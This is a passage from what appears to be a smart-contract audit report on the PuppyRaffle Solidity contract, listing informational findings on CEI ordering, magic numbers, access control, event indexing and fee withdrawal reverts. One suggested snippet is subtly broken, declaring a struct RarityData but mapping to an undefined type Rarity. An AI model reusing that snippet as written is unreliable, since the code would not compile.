    mapping(uint256 => uint256) public tokenIdToRarity; // could be
       mapping => struct
    mapping(uint256 => string) public rarityToUri;
    mapping(uint256 => string) public rarityToName;
```

They could be merged using a struct, and used by creating 3 constant structs. This would make the code more readable and easier to understand. Here's an example:

```
    struct RarityData {
        string uri;
        string name;
    }
    mapping(uint256 => Rarity) public rarityToRarityData;
```

[I-7] The CEI pattern is not followed throughout the `PuppyRaffle::selectWinner` function

It is recommended to follow the CEI (Checks-Effects-Interactions) pattern throughout the function to avoid reentrancy attacks (line `127` prevents reentrancy here, but better be safe) and other potential issues. The CEI pattern is a best practice in Solidity development and is recommended to be followed. Read more at Solidity Docs.

[I-8] Magic numbers are used in the `PuppyRaffle::selectWinner` function

Magic numbers are used in the `PuppyRaffle::selectWinner` function on lines `132-133`. It is best to avoid using magic numbers in the code, as they make the code less readable and harder to maintain. It is recommended to use constants or enums instead of magic numbers. Read more at Refactoring Guru. You could define a constant for fee percentage, raffle rewards percentage and raffle precision:

```
    uint256 constant FEE_PERCENTAGE = 20;
    uint256 constant REWARDS_PERCENTAGE = 80;
    uint256 constant RAFFLE_PRECISION = 100;
```

[I-9] The `PuppyRaffle::withdrawFees` is missing access control

The `PuppyRaffle::withdrawFees` should have the `onlyOwner` modifier to prevent unauthorized access to the function. It is not critical that someone might request fees withdrawal at any time, but is quite inconvenient. It is recommended to add the modifier.

[I-10] The events are not indexed in the `PuppyRaffle` contract

The events in the `PuppyRaffle` contract are not indexed. It is recommended to index the events to make them searchable and filterable. It is a good practice to index the events to make them more efficient and easier to use. Read more at Solidity Docs.

[I-11] There should be more events in the `PuppyRaffle` contract

The `PuppyRaffle` contract has only 3 events. It is recommended to add more events to the contract to make it more informative and easier to use. Events are a great way to notify users about the state changes in the contract. It is recommended to add more events to the contract, for example the `WinnerSelected` event.

[I-12] The `PuppyRaffle::withdrawFees` might revert if the `feeAddress` is a contract

If the `feeAddress` is a contract, the `PuppyRaffle::withdrawFees` function could revert, as the contract may not have a fallback or receive functions that can receive the funds:

```
    (bool success,) = feeAddress.call{value: feesToWithdraw}(""); // Can revert, but the owner can easily change the feeAddress
    require(success, "PuppyRaffle: Failed to withdraw fees");
```

It is recommended to add a check for `feeAddress` in the `PuppyRaffle::constructor` and `PuppyRaffle::changeFeeAddress` functions to prevent the contract from reverting. Read more at Solidity Docs.